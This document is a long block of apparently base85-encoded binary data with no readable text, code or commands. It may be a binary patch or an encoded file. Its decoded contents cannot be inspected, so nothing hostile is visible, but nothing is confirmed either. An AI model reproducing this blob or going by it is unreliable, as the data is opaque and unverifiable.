zriuFHgLc**N!sZ+Tp$_M84U(*8hO;#UXnfc$-N|UC@a~C9bY-!G$q%MTAiETwLD1P zQ#QHGMO4Vfz+Pdxbis45zgGi+YjVWPT@6U9b`DXMptXb9%1XqmL$24^nl-jxEf2Yf zvQfs4TG;Qua-F+&L(M_sb|3UKhxd)O>n1uEv8iX~Ld!+w3wS6>j>hcrdTk{iv{66a zw!o7x)?sj)4V>5IQQ-^=co1|xyGq_VOw+sYobUA$y1}nr%1+G$xqxlqZRWf;(^MHTfg5$ey=o}LkEJPN{BN-UanqrF8hCdM@x`YNzXGzt0 z_vpJ2mO%SznW4)cu2}Q~xh!ek$oS%-TocHe$9uFY?4E8g#EVn03;mjMkt1Z6P|T;f zbh&o34z?vrTt9AiGB@?KM++)8Y2an3r5q`jCo6x;cXB~Y;xlSBH}3McWhU;c@os}8 zK{d%bQaP~i+Jl%*uPXeZ2|P#hYi$9J{l#qQ$Y`k ziMJ-7m-Fnxv_lkU|GILS^nApxV&QY`ued%@d(WUO)f7N?N{*o5Z(5EYjK=>t-2#1Q z5l$1oT|J$wQa*IcrIK;eQ2SI4weuhuoF$2X8-G%6htbL}H*2A5ss2oFl^_by zF^t8ZZ}t@*ztWjYtA5fX~+KPW!T7 zbUIxYqNw&bnTybv@9ys3GWw4fp$>(@dU(Ig*p-N5oBg=}jGnr`ElGbL?|>lb-|7Ed z7_-mnd(ZNFG9@N#qNt~rz-2_}+9(RI=|<*E^kR%9{bpstyCuG?p`wI$Uqt+mwQW~u zW53~;YRx7~&0}@VBa!#9JHjH#bNL$fZ*)S|dW!dg%(fmXKF^Lms~iqCWTbbn0uylO zS~^@P)3p|=Ql+L#e}p-EI>Xj}t2&$z&0U*Y_`ozi5P2UyFu4hkLT?^IzU;*eV&oOZ zdF2Q{8$EffzAGhtR^US6WY_wY$HsNiVSgzKRj+^-y4K=V*|Mph(bt$vA2y^)eTma% zmRpA&DsrVd+)1R?>M?=jVi!8U`6&}Q@Ad2_HNzRxu<9ol#rT6w ztE2h4lCCac>~JJI#q@JdvVUs!%dHI!4G<9TYOTURM@QynP)-5~J>8*3Ti__>A(W9^ zs_5tdP`ks`E@50`nFJv9Gtt%uJTQ=@0yr3bO-*3WnI+?Ol7O2-NoF`Bg<4o#bUR#l zU4Tv6Pee$l)nGL}Ri-MViX{&Pg-e7E1+ac6fFK5hBLIo%2%uA4AS(#-maUh8Sf|kj z1jk1JXcqh{V5j7QfEq|7=*^mH7uzR#fS>)K*j+WLQ_dgbcZD=0rG??^Ml| zpR?W}1oadb7XvDlnwr|w?CeX%8WEk;VTb{n8fj7K&Bc_eA~Sf8yNg}$E}!bmwlAay+p$jJbgq5}e2;uwN|(RUnlkpDBc2Vqws?;BPq5Q>gd z1HtDGkOh2Eq3G##c;B7@;^jL+RP3gb^F`8rK=v5}cyVEX;p4U_wwyr14Hc1!0AzUZ zU)R{!C`BC~jEP6Z@t$*Z8}#^o3+VrhqQkfCi*joSy|u3Os=h1H*pcwGEYos+XN6E> zxb!Y9<;q6ASS1m)F3nH5we=0}QkrX#)lz7WTin3?BX+Nty*Ctb#EM?ly0uAsC@#cq zYo^P$grp+_tEjWu7o$AVEwuz;ug*w6qPpE=aviec*jqStJLE{JjD3u|zoFGw@FA@l zz1TSLFzisVJ8DUgYyJ~nT}E9+y3Ms)v8$M{%A=AZ!5coO8g$yeF0F}%BYI>w(Mw}x z4uPKK4SdAE=VMcU4=iL3b<%LPvZj4DCGYdm7)T|$l|_<2%E1aO<;3V*pZ>Pvqs+dK zp7lW-M7|m}iBHBcLf9`Ko)>Q0x$U1pCn8(g{{}1J5~kqE4>R^;f+;ti&kHqAF++(& zvt6BbBH^rW@64{7iHPE4WOhcPRU{wsVJd7YckwgA%umR3bJx2#jZg-&UG^$iF_ZSRdr3hUP2Jq z?E*Ryz}*lRofXQB#U5Q;T(oc9Emi~oUNzcWPxd~c>z1)cfD=F3-KBDch60UeKrT{{ zmHiyWtlO+4@fjrocoM_SU0q%E0Tc=_i2&IWP_*(RV>TbapFIs~c1|oUks`s7_EWj; zT@k7_zPA*GY*Ba}u=QyH5V*bXISG{e?Z4D&K!w6)=jBaj(*TsmjEuWVdmroTqvgNu z1P_y(@-hj)#8bKr1i8>_{HwPh-zEdhbAT>HWNdKrg8)gF{VieWcc4uGPb~mpU{L~6 za@2P~bQ$wGa^_xfFGS-0po{&amrx}9xT^?MlSIY0(K_mA(D(Z08kM-yEPb0b7VA zzLlDW#?fMvqPlvZATBa*OyQfs5$;u8B_)v`AjJ*x+VO$8&kx&xP{Lo%=c3HBD7oSP zveh|ve9dCeDF6hr%*>TVMZso@^711C1KMq_%)4{T%giw1P;1;>w`j&TAjSHUd_2s3 zDfmD_8SswlrNFlUv>O0K>9)NH=omX_cgfT@^^bkYEGvJYjM6L~1ofR8Waav{hr(A6goG|_&ibC(nk4i? z@#UYkH<{O5X@ATaq5kS&yUM&TA{Mz~nK_I@tz+Ucu&D|8$<8$Cbh6~S7-xi}e-EFO zTCZVBVgDPfCs;<`1{i2iV{ye4&Mu%Mh(O}<5H{%t&PLY81On$uIa{utZ!gFtNHQaX!?4pCc0H98>9zBNgnPJmxoCm(2Vm`+)b6(e#rX zI%kx9SIL==fS^9i>k4R#(D(kRS}28s>=Jj%p-M{XrZii*!sw9PyUoCdQKyQe zu1$k5Ay(?V6Pl6l*qs>h?QWi>RBa`^I#qHU`|N8GMb}A>P~{O;i`aoj_ON*1AU3h+M=2Qw=PG3K&l)_jkU ztdJdRdFvXyfwdwcV9a=uFPb$oh7+rLRcKP{X9%o{{5oTxnVFML!u z1sPcNVp1;jQ;G-W@&U*Q(YvnB-=7x~`N#Qweq*LwGZ`J{99L^E-EcBofh!hCV})wS z^=M!$tWMz_u^f+E)N{LfTN7!Y|4!>^ni=vsTUFc5w01fH1I_%nkE|+y#(8Hc`C&8D z_26OucDsM{lY7Gdsd2*pQ{%K9uy6eQ0p^5K_AUSL`?OqLuRu!ig+g!HSI{>H*extA zf3Zb%6B7~uKoZym0HkndW1}~6;HzTMW3}JoTVo~;jyj+xt*neLE`+DN`Y`$oAOo2B zAnQq8fQKGN;l2jlN60n}*fUvy!ddsR8xHgz|F>aGgNqmD_+jlf1kfev#Aw_J-x2^C0#`a(j*sJoN_x!=baGX)0k^MNxvrC|Gzave`sV=we&!9k zdYq^g?mBOB3Zx=5c6uCbUI{@ogy0CY*mX5CzMDJd>kq;->;}M_lTmm=hxCiMBrE=c z?T+s~P29tsXQlf51Cx%hG;1vP@w2U`n{mQq9C8D%c*C|`@aFH;ddidxRWw$%QHseQ zujgxQSeYvxV+Z97kNhpmSZ2&n-~F!LHWz`^swg+pbnEqN!5VNdv8p+b_s|{)6%3{g zZ=|8mg;oWc%?tQ-9;sr?m>(Hrp+SbL26k-u>;+u{84LY;N&^LyC54`qg8ryEw9{3V zBuMHw8G7FJ6xusgd*N1y`ft{(6yFyN8hOP_sqG2JOy+YkbGnk(SzYdwGAtC&8t3YT_=pZG_Gf zh-$ddXt|IQ(y+p{{D(D$!ibOg`JvnH4cW7(UU{_n8&(UWM+|v*cZwWcta7FWogBQ< zv3RRm1X+&jC-cOZ9x|gP94x_#K>YDgrZ_bQBx2M~SalESEj9~9f^+mqWML=ZYTzZ9l;0ps#jR?!jkAR^r zyo=B{R`80@L!vB)2lu(1sjz{3tBmWAy$Zd_O-1H$ua5 zGz&Brz}3@LSXfwDc?hgIlz^1U%0Y$Y9C`HPK$$Ntn`}Jop zfkZN#O+!URY%2&D-s>6~rX91uS@+`puFHL7GCsKOdKM&N|GiP;d1>{710bqfTVI^K zNq@Tl6Uy(t$&Uv0#dzP@DTMXfXwlWul3`yU;`)Df0T@&Ox(A#w;S>R@k4J9cq6kV0 zaKO35i;V*k>>F0y8bfHn>+=VYqnVi*?4JOP^M%mdMEviAs#W)BHb1B=mO!Be{FmUM z&V4*EH%UFce|#yk0FE~o$jLG?T0JlKg2f(RUVmW45qwR#kQr@Ixd5_tD}a8yaIL{n z3qFJ(U;+Usp@{`$yoK;it1loy0dL_~U?bG}9!QIu87!ti+7HMEuTO6Q1FKE^QQ9h) z(+pGNVSgrcqi|X#-V9;L*>IoTLT1t6=U@2E=!v>nn*Cqw>*%F5w+wHF<~xhVb9&L4 z86$k3v9%Il|JmfduB$7*34yB4Et$^?3QeD2JljqQx96rMt2B9JPPbBxdA`PjLR=g5 zTh+~Ns!oF6ugz=a(Q^Ca%nC>7XXh9r6p>eG;KT!~PReRC&Ivzx4RPr;NOv>vdHS9~ zTS+BTX4bi->*w<{YVT*Pb3;bXAq=NMv2Bm-Ule32T_l8Z$F(z2K}DL6GC1bx<11Pe zIFDwjl!CA2=}2(!*W>unBDUKQLh(!tAS@(#yIR~(+E#GBZiiRaqxRMES6sC4pV$lV z%3zy(Cu3I(1tQTct44_`L+an-dyfvGeXbGibU*duK>!uaWkEsE^swd-^?78>$h!x; z8_}3E^Q<>%$|g&Q>qqtt4Y&e4@0Az60%69mE7um} zsTgIw~xA)V8o(@posL}5eo-C zbWgzY>6O9VL~1D?Uyl<|jXgYg7f68;9n49n8B+Pw)YaMgkZ&TtQgO-r-{0ObId=0^nu-|cKS2`WDAl(5jy z7;?cu!a~ZcgM)*W6@9E4k>o=i9UTC5cFY}8ZM)x9q%u;f$t z-G63H=?D@od{pUxlm*U#^z>WssmB%KOm6{<8;Vk9g2nd~#SyoCY@0*AuAm^0w))#Q zoI90i0B!-7&L*4rjhSl`TVnCe5cRDHdv+nR&sA@AK?c62dKT305yL-Og%b0*1 z3kNaG#K4!oeyfb~;BeohUpca(Hxww(u)c-rXRCjIzPeREFA`CD{>8cA;=#s=L~-e7 zsofMzwFA8{s@O=;>WtZe-N*3v#f)6qh;sdp`}XF~%|kmld?xeLc_Y&sIbW*`q3f$osOI?Qm5F?lbv9!+?)9ko zr_Z^OHxpx-NhtmKlYrI=n^Mf1Qk{H($44vtRz7h(eI%5+?1iN#ijm3c+r8px&7&6M znH8N9JKfV~eLc^45;x6u$XbKYQV;vPl)X~?&{5;^hhk|X&r=SrTiZ*bPDyw(pDSf| zoKLbVR=<_YRgE+f)HK@te!?zs`uCDHJBIzBuyBqUPz30M0n^jq|86An7-JG9kG=3M z)y|h14}rov{2#cW0Hzd8D${q$a;uev1z9yefSCm_tk-|P#Njkt-9NsNk8dF_*B!pF zkF%F6D=Wa=3x1C4>+1m<&=6X!_5arDN>i z_ip1b0SumT6p*T}1L`EDyQDVcb12y6`s<~rpzyS(*(Lic6Fs^x4i4K8$Ssmeg%e~F z;6*=xcCxexz(iVESbTXH_%-))y~Z*_D7PATXX)v;Uk*gVN^r0HeFC~G7H_bkS%%pE zKx#$D{maV}B!k$l0CrwkUg#5pN+Nl_N3Z`80;IUoRC@-TOd&*{!PixQTTr!c63dEe z3?Qr~;aY93m76?Cx7C&l02wAW#@_d0u;bGT7<`SCI1Y>!A7;X;eGaX0<;2Lqx(Y*x z5DN>i0?E@-ky(AH1-!~AK3oEV#3Sm`UzG|KBV*t0Md$N9EXlY~@k>N$_Ltpp9$c@w zH@q9N(!b6xyNw7%v~v%}W>a)Euyg6=@~NfVQ@6w7Sqh%tzS z&w|d7P#~cc^Q_f2wmZ;oP9@Q;A`5Lq`aM#^uvQ%VRFZS)UIoUMyr;eEpL^jdCB)~@ z{7bEA)Q9&j3z#)%RlCY*Dc4T63I@*Q)4vUU%a@b>EGBrB(%H({dRnVW-4|3G_1@~C zwdiDw`M6H{^(oM73pu*n>R)28%$Sgto2tN05_2Fho~`oTX;$Th*jbS;kxlj38{vva zEn$0XJ$Y40;;vz;#rTyAJ^i2!G2O z&43b-$29hw?GZGN65mrucsHh5Y4p%qJWK<&R2XOG6DF49yh{TQzsd6Ir%oFrE-z}0 zYbGz~r?!;v9%mnqEd_rE(+351Xbi>ei449|7xd%RBj>@|*l9X()lbbr9d)4g7+T#V zT);y4NW_Y$*AwiaU?n4rxO_&(cN`syZ{LMtwoR7Sp9POvWp-Dq){u_&zW6@lY?_xz zB^N%@DPO2$KNas$>sSe14!O|wm#8)6kwaL&h=k}P)Rv-m7ei%r0GXAcPXj8>u8!;h zFK@rOX@h1A{{(AihtWg+f@2uL!{%b!?5*SK*&Qrj-XlCS9Q)BX>(0*3S_>T?v(hXE z6pr;yzmSxJLOiCxl#u#>TZ5%ndWHxltUVf}daw39c~Z1l2gg>@n*W~OvVBL*!Tdi< zm`pH*XSXj+j+>gQ{TI3K_s)a_Y}vWujP;8=+eOghm@+#1I{;_QNsK2s^`)Y*p+TAS z9vE^;Fu+?JSUzCb0;Lx{_>>$R=b%m~a^fVmwYR6IO9y2N zxK}8_b=ochf6U)LdJ^Q8YRgx^?I}0h2u?Uaa?~B!5LI4&d~0xv3`wL7C$xWqOFao| zd;my-RNVa04AjGt7Tx3Hahp8PPsh(Wpkzr+)zsEzXrDJBVv|>OKY+J;g?7#06SK+r z{=Ew0Qx>oD?}_yz#mvfv1}>nv6BP8>n<{fjWnuv&QHqd_mvXB9s2(}RH2g~xAdq7H z2Hm0}JObYvzuQ#5e0i^aGPiNb&j*dR{4sUlD#lLzF;_@WLNTk}H$Ud##LL-rOkPN% z$551U>NT04Pss8)=9C$^wg7pRiC)9DjdGK5;6=`=sJgG4d_=25mR}FN;!h!qcgT6i zobXl&G3o>zm>#jJpN7^)%}LVPD4sPV7xv}Q$BcqTwELdNRx(Aj)%C0k?_D6}$KT!* zsp7~-X%_Y^S#b7AU|AxU^Q)J5@`-l1exIeCeQy;N!A8d>6y*~Xh!pV!8R?5ZW%h-n zj+#NqvXAg;nl=7@POjmK-|Fw@cbgtoYK(28^X7*QTc1KUGgrC0c=;*B#OnWW%%v== zCN}tZ9}ULlnk5y7x>P-`{^fY}y6S% zsaKy9F~1G$WUUEnk$vREmFR=l6mpZt&`5X-r7!_MqC#|X6e`o3``*N@@g|AL*8=mi zZBFMd(K0vw>tZj&Pw=OGl=a9P4K0s{y}3S~U9YkYFI%)aMjo~oq?p=@n@ePXpx4;S zwU+OA^M=t3D>jLj>hBkLSk!rJGW&dqhqN1V22&zfq5UYxh&JrhRtNLXa@@|=tthgF z5+7HY9=T2Fc3lo9$5IzBTeD}}9?PMC^w+Gsb2{3s#hb7xQ#Hn=F>%UjevhT5szGFR zFlU$P6KeVQ#D2$U@J^YExhc@h`f2H4snf_)#0t0bX++Y%2pNi&pkv=eqV7hXN4L;r zptfYVyuIVnx9xQts=3Sb)`8v?KRze7UBK(Y{H!98C~fqNwCZkRWJIOfe4Vr(H^)g49N2H(&Z5(UoSs6H`Bd~5%{kbu@kFrS7; zy)4w7XYpA(48aan$Zx)k>BhZ%oJ|mk<3WiTRX2D0z1K))Un5IrQj+C_93T_eT-|Z?$;^x{z1z7$@?^NS z0#qmfGhRLGwKGm-^_=pN&eCL(GZ8Q*<%pIcrFG)(7Hp~x1_RYKz=}>5AYlOht=o^n#}}L32XYpqAK7jz zyua4IV~&?tR6h?;C^P<%x4R0Y1fbL?Ckk3jN|RA~5t*=p0&3aS@d0munf-t#W=XI@ z7Iz%E->N8hiHj!$E=S7b!9(0HcBmic1iB8;4G4L>ll=gp4-+6FCDpfR-!;NT{9r@T z#RvN>#P4y4>vG=b5{CM`#{PMAALECs1>+Lt;9liG(kDiA?;8=jH5$%%_=H^&VQ zc2_lf9#%#ymm03SV#kaT^OAPsl+p%RLi@XAcxjHrh#2*Qs-MX71EJX-m2TBR)_(0C zpRYQ1UyuI{B0ZaJzaBbI;Il_6%DJ-;lT?E_1QCby4u&p` z(&h3@(<@#_PO>BH1qY3+DBJ{v}?A(tuNYH3;{d6Z*&ciPZ;Z5Us{Wr^#j{X2aVT z(s#D2jhGSgn<>}DrdS zgZuBv?(bOP{Q>K@%lZDxxZ^*cEc9mb70Ic6g=9ithDdCRbs&=$jZBq(2B=@&90MSF~AAvO?Mnf9de zZeSl90|uQA@7gWPgo@&z^LqWa_p-^)2ZA#)an+*2g3*2UC$Iobllc zKBGLX1C7n&s*CUQwt?d2?eneRhq3>EEd1wuuy=-2__7VO?KV(aKy@0w2c{;#$0NjI zK>rs!-g>k0bcw(2JO#*O9!q`5N?gN0k^n6Vdp|iquw2tu+e){Zj8irH{a-@!R8xX%@ok!il;G=FaHVlG~HTG5$ii z$1fw8`ilKl+eKP9CESpWzH_V;(|9aBOUqqQULpNe{rGz&*IeIhG)pG&dBooLr@>1j zm20su;_+n^3?AI1VoR_yGRe=+57DE4$2<@uT$mQHnx)OJQ~4r)sZ*){l}nENZH4Yt zbNG#_C~DclE7ScuqV@f#W+nXTE|C&_Gg=@AGtNSg zYoTEX{8#-Q>#N><_!4F))w+B(ZY&|w!yorJgZfZ^zN;xuN-A?YX8j!3ec#2qsT7%~ zj`BE?^ZVkVbN;87bzN5#%e=B)ZCUZfx4|X({0-Y^Q-dehhxdQCmC0kH|LGD?@s^Kh z%kbHmMy=mIkmdW&@3;{^IK4SPIWu-A4}sqiHD?zX`|WWy+&}4W=Qm90Un}^mgTN zT4%K(PMcfQ&Gt{Di-UyV)*LY%_2-iwaizp2%UaBIEdO+vVdQR!d=A~_&9PZ>7%WuV zaeuqSnX-OcXV&O##RnF}yXlvD;eQK<57PdTajzm)!BrzT{$1-%0W2bVQgZU`qpym@ zGuSQJS}%Zcr_SZJT}b-biFAvTEGszePH-VYi3v7RW(5!HCz};A5!!)C0BB9YOxD`U zs&t?Kv7)M~nC%6k?qK-w7du3h-UKYc=lc{W@`m5Zy8}nd`0+LW9MmB7n^Ar*tijh= zGPJiZlV{Or7wob?1Z9zpnnxfsv8dk-iDa<4It8UP{*8^|;v8`q#}gc6`6g;zb2BA(a-_(8i3B!BHRQrpV(LeL*B%Iim#2JJYnpYC_gAbKPB3D>*sz z|EN0Wu+GAF-DlgAC)+lsnmpBHPsU`sCTp^7+qP}nwmWO~@9eYp>F>U+uDag!KKR`C zUB)3;2aTqm-AZoS5O>)>;tIL5Zn{OG`Ob4v7u0tCk?86*%b2#~M6%U~Pf!m!M!UhH z4gJ1c1nrInrP|}!xwfQMl_RX?ZIZk}M^*@DLvMaOKTzY}N#~V+EB(!46+s$!P-tTb zE3Y}<4=!T%{d-+!WO^2baZz*(YFAz7@;rEi<$~hXwAmPKw3T#4E<+BS z@s-XeT4InOihRllx06E~yXA839q9{OVx^f2mkzIVZmS=_nsC`!VhcgEjx$rid!i6t z>r=IQ8#B+rIpt5W-quaDR||HjyzFeGiE(>xwPS34vijyVzYX;jEktx zD+X#@3*{v1Ovnj8oAW)uLMFd9f5|&1wgR<+55~(nWmOeKK+>SuatdZD5@j=UXif1_c8Ik->@5e41T?u~@A(B_@5Zea1##K~eX$UDuA&ekytpE0Vzp&#t>oe1h ze|+*YGt|;;?f-i#JZ*-6e4W|7dMi@Qg_$xoHb#q3S5tEV@Kn^iYPzuA17P1_zt$hW zq`V|knQ1pdjZX_?!2qo1G;vCSZAPZhB5-9kpL2uk?eG7+chl7+Vhok*H^lduW@-LN z^Wy)SLHWkv@njP@(_D>T=mdm})$;=pz*=oC%u(4Dr@*K}=fQE+s!=MYPxj+k2BDYu z^cBd!BWdAom%jle+cDS=}Jn0qLNTA z6A<|9@BR7cUC8Xp`@(EEV7XEkQu!x{;ok4`ob&g_7%wrJSHXJrnJADu*gQMCp}zEZT3ncsbN^FWdFl=*2)L1Ywt;j_F#67{ET4m}UelC=o+rf1IVb8xAj$S(r}V8= zl-teoq5I*ClwIU9oUWYW@YMfy`rE`3(mgpe1w6_FS&AR@$?akY?H6-))G;PW!(4Jg zAHv?UZY6q&LKmb(xRJ9pQ_U;M_^H|l=OIFWzZ}zrW0{09oSIoN7$U(%^!E$Du%9m} z#mEK>-H_SET77H2lF}pc%4Kt*vU)fI`7+ zn3+l(cO}plw!W800oNXX=AV=`nqzj-O{5n)<1d;n%yBh$nNWU!8WMHMc*c;caA~a8 zQ?>Y}D|v(fpU#P#=>2KvayGcqdpMx^wrX;S82D$2eR+y_$*Nzw>hJxe^mh>c$l3A~ z)Nx2n;b_6vHAHj|30i)X3I9@$AevDDyc0o2{Ysayi@!wtDp$zEr(XmGmER+u<>v%& zL|we>wpAU4%LPEbW-2DmyM|{*8DxW;oDsx-L95zvJs}RllUc@0#H^o1Dm<$-xLSpQkCmv=2U#m#0X?3SkIp;bIy;O&Jr+ zs7l6Z5L#Zvd;4w>`AA%{8Dfnyu*9)Kn5q0Z`wqBQDn+=!)03*VG_dA3; zKx+Z{kzA+%QRZ66)&dF=>_<^I=6XD*VI7&mC2ol`An$d9enRvB%r&FiJYFBp*@D6t zJCgKRy&0yD)BMTp1xi{exCT)f=_7O?Ku%N-Z=V73%*Bd>oW<0}FAN%)FwfY6I1^jGFFe7yi+1P=o!Ci-HAgK-D&?ApLf&8k+*C0f^24LRU5}P4y1uqrX zeQ3D)08r^b)pMloU}?G9Ko=$l6CuBQl?I>hP8AO1h(V;c0M$iHGIWp^BuGgnHbge? z1S0Sh@O32}9l4Z00F0qPHT0r`0>L7iR|Q0#gpj$hA$REGaA^_6BbU!FeED!S=k^_yW6wz?rI7PP3JD4UHv&2IlCU%DlSJQVQ} z+0x^9Jy~_N#LQ(U%4&~Jmk1lL+w@_|W&gXCcw&re1#L|wvDV^HIye_!RDzw8)}tZ# zH)XrPOb_)Y!Y=9zo*O~pInGZoO?>kl_yQwxm1b<{dGxH2NPOtvmIXk7!(qVJCGv_B zY?0NXXQr*E>mG=YmUG@;y)skptU@o*RKe=wj6*{!P&yGg|60|k9^vgi>%1u{r!A5B zm=~!IH>bR+#t?yrSYRs6%!EQbn~=?S2Yn*^wwJSeK069BAuexyZ3JKD6PK)?oAetQY(+W{CpDfwHzJ0 z3A28fu>+snRFyI|CWI88Os`0g2sWJx0f_3?_IC;SWQ0j+M9@NpEES_i2KS_h12Iqn z6s78Sz*EO&Qh`i!2c|>R%v1b|LsM5EHb$yBSbZx4`)Kk@{lZ}{8fsm(yH)UqY z)oxKs%4^Fn;7$V2!W&?YxefAg11Ill;~P7unqeGb3tL#Fuoxj#YanD$U#kfU_AY;4 ziR6Mr5ax4OOcEsi{sX}U_i#T8V)aPyU1v#Dz^#a#3IE{CR6R0ynM7hx6a8u$eIhQc zeEiF|FbS*M!QNy7TEbtbHq*8~G7!nt9gs2%b}XNbTtH87ur4)8|DP%1e{}_)pAtU) znaX_fJXgS6E&6HAVO~LV9|5B1Ry#d*WxqqFn&|Bv!b=+Z}K0&kj?`=1KJ0`mKJxff0>y4%SDC& z8;;GSZ7g=`VnX=A;L^SUgk}Ei$v4xW!pM;VZr`gl=*Py~dcf@~tpCZNP&W13mjK#| zCclR;)w9`m5BwD5e4L_c02U3%Z%)&R$pg?&`4qO0MCpI=r+lQn7B|nch`rHd$HSDF z_}q46)bQUTaK--~a$~0i4s;x))G+bM*IBRgWDsSO+j#Siyx!g4PiM>k*u1Xap~+a1 zFl-7mk%z)8n^X)CS)?BN31nT5VW+x9iz(*0#NdHZppy06zMj_b_6Ri3!_#;7vdVcv z7ms>PIrplNYgWRYY=fEJSwx7G(K~P2Kaxdzs1SDmuKu0Y=xI*EmZKLX)Ed~D;!kOM zsmD3lNoGF2<@1JDJ@*o+ERS;Nd&#~Z3E}Pau9^*JX$R~QQrn)8LUWUH-Tf5 z7Fe=Sf>J>@Dr1Ri-7dwXk9GF({`Pp0G9Hvt+7(Wty;LTqfI|XkWN zBd+s$7u2`hcnJ~NS>ZE9pQ{2Y#Ld*G)QT=4?=_Kr2rQesGXKDuby)!z_;0zCD{4#E zsn@NaRfOLeV= zR$AZm`J6#$?n&9E=!8sg!4rD7yq_sI#c?MyJ=|k56nVgoVe&|$BZYXtHVa@-esatG z28QB8e@TmRCKcccgD}hP>k9TDmXBta z%i$<4F5azI1=PD!2gqJm;FXKKKpo$K8M%vsA5SKgVC06fT$P{TN{I$5;*(Y`+kflT z>HT!I4SdWagH0ep=GM&8lI)Qk>6M#t{B`mZoo{n$O2`pY-5q1FiJ@VNGTO> zQbY*=RtvLwx*%7Dg73qZk0vH2uO0%jv%l06$U?fD=&*KSVspg4K}89EaCzndSE~cW zT7No@otr_4L0TaWm!rHz;gq6H(RJ(QB_kD87OI%yUI|pKuR z|9rELu_Q^>lPOneno>XoM-T!eiMIlKR+IoBSugPi6xoYpI@D#M5a(4}ZzsfLrFw1P z9E#xEHnN%9KR-Juai_}-*~;j7KO=QETAdeRW6-8f*s{luN!o@#HAw8PX&iU&0zCG2 zXmxN=*<^3W#|oT$I`PyC@FOyn3p#DNCZxH<4KF2z>%bS|1troAP0f*#x>ys2dah60^IQCa- zP${Mx`*ju-%`b6aR>>5^`sB<-INX`OFq_SdZeKF=Bi#lif3|`8d$xAth}|t9hgti= z_FP~^t&((+WxKB=MN+Of6K7B!J8~*VY2ni>5u!zo!3A?-JO+F}(3jcKvyejga_5f< z%?-;8iveyA+hF~*M1t6Y!1tBLIRO5F4c;aKLs-w4po8c-ewhSCCX8fGf;ouTq0q5zD!icCXrMJ@)-HRR*y50dplYLa^CbqN=`3#}34ut;>F7 zyF~;NmvRyFO$PRnAe<-(!6Lj^@KJjgT)#;*(;rLa|L0`?JK|U6AziT79>A>Hv2ge4 zJd*cdwqfwrUcjlfJz zkBQ6qVl6T<5+J7U-AYSJist#^nP=bG{Bo$YM&u-;Hl;M3Mfl`Vcu-($+>-G!VxPG| zY&xCILo-UoD81b~H$UaC-rk;XL!20BY2AUfJ~alL_XsYE;%6VaJaAX9t*zbM+*DLB z5QYMomvDYUVvm5%_So19XV}4qB2$KfT7{X3iOKEG^hBc*U@u>SbEx?Kf`a5FAI3ne zkmej6bC{zJGIv&-N<`vkxA+6w%83Z2t7FnT^yg#4<5bp3zSum(e+9TV$v&}*tvkuz zE%`Qp_O`dT_Y}~zwPkjGI*e6TiD!ZLc#iAL!u}+8(V4Bg^!|K>goFh2DFg(7gcm)j z^C%}wvO%czk_)Ln=mz_3OA${*j1l~*3p2Ini}pBzYXg*5P z;reO}y&N*q+T*NsKzfn*LSKYJX01CEkZco??5`BM_)YE8bx=_&xb}C%wrl*=+nPnJ zzIU6rj~N)-bKgoDQr|6{8rB0xZ8u9YCZVX%66cyYYF)-n#3hk?`o<5dDRxyQOF)7| zul$pgII7$Keibk9H__$hg2LOpzhRUE{WrBRzG|2%=rVRD$EA#KzwN$(IIbZ2x)@Cy zmVS&7GoUMra>~%S*D^Ru*LD^PbMdUtI^Gr&Tw&so4GjEU8gB<6KLc;xXyHUmsmN27 zoZX1uUGvXjc>bQ8Bv^l(h}aGYtoZN4`lE1c0@l4zdf_#<XF-uJ%XDHy)XKy1GEZaNuMqiPg zw{gYy0`=I_6aYCl}& zgk@-g@PE6GB>#;f%_=R_rfyP|^gJU^yDq4H)LGGGHjGnthwoCy5*iBC+x3N_s_K0U zuBq?U*wD+_!r0p#@D`n(K2W6HA`T9cRa&?{mcm&B*`7f>|6-RKZHeO6yFrTlA;Z?m zN3p3#MS!j*gXMeI0rQ;*OQnf;g&4_*Tus8YpfQMAoj_mk0oC$ah-%57;I)d;=i~!B zgUAk4j~ek~vP;VO@4zkPdO{v$+`kL^KR0(*BMlg3->s^SYkq-Q0G?D_g&D45q95^C z60?6-?P*J(exCvJiT=gC+wfERlfIp8qERxbO-&!AH}4OKE92km>+2Bt46SE1KsIq& z_zsZoDGTIwhCN(k`B+KbK21o})X9q2o*=FeV0aGi8ao*6Et_Cz6w#e<+*){kr}63&0mri?vkP z-+HHfW5cbt(!>z2Fa?zFn3;I|!5iO!LIvV4@RgdHDoMsB8}=<1m@<&=q!^b{!I3K! zU3LMap&AfVeD4Ni<_^vR7!m*H+bzIodIM`Zn9|uks!<`{oqM-`cC<9K#0Qy?aK(69 zi~MePRP>>Cpr17D?Ymr20xwiX@)zxo8~>749j*WdyHnxjkBKW4DXYmu8lcah%y99u zzjqP&)yIUaQ{6EvxFq7TvB_!i#KYBhMJVdezUkgt;$SGfoLz7h;eJSB!;XlEpt*sd z?EhA+B9?lEY=YLTtTgG9`#0?QD4! zgO7>*Qc~1LUTJ$mq5{R+u{&b{)dKIPaSo=P6H7QhD-bf5p|nbzLd6B0LB$bD-ryhFo~Fob>tkj`(8zyNRXfV;Z^q`pf({0TvJ435+l3Q zQOt6OIDxN=-Ee;?B^)#! zm|VTyM3JN%uX}MF>^!)hA016or^MF4U)t1wNT=>3@-9cvB2=D}wp9^sO^e$GWx$gr zt<%Ep;{pJH>bVJ2{@~F_Ot?QZ$XXMLZgJG&K`b}Cpq{d(_umLEWv3C)6T0K(EE~FH zgur)wt;TKL^9eLv)g(y^WMYXc^3m{Sl$ts;|V z?OB4zZbjxj=?MoxT!$t|C<5Bp$MDEXPWtTkJf5!$#6v2+R*V}Cad$|OrhX8^5el)b z`NB2@@HXYx1<+Z{q%6C2k=KA$9jl^Z^phm+QJm_rRN>)bWsM*iy?#p(Y?H(XJ{014YV<0Sy1Kk2#AqbfbAoSNa zKOP#}F!4?DfW`S`^I^v0rg!G;JVYVE;MZez5G}Xkd_Q6YJdSX;hIC-0j!$dX-eQ)L zQqT@092*XVfBn{yo$cEYf?~{)oChi&d}!uj$NTzrJL&4qSMsL=7^?;U1q>Vrd7UhQ zI{xTy+T_2m=Bnq^D?Z3`K(Ya(odXH*0D$n%2m-d2n`I5y_H!SmiH`3Lgntp8abU=U z_KCpb1eOkp-o5~_1Xw}Xu?zg&0Ft6d$H&{x8&*x>l~wXLe)k3<-oCyA1|Ba!UOgAT zoYD-N)yLcOKiE)kCUO^m6jV?GGC%GL0ecJLlT;>F+i5E+D`icuarVV4`3PKg^SzqiazrC>4}<<2AKYOGqrlAEnoJJ^ zG(*FxwI=ZLYBVN}dDHEgHFqLI}< 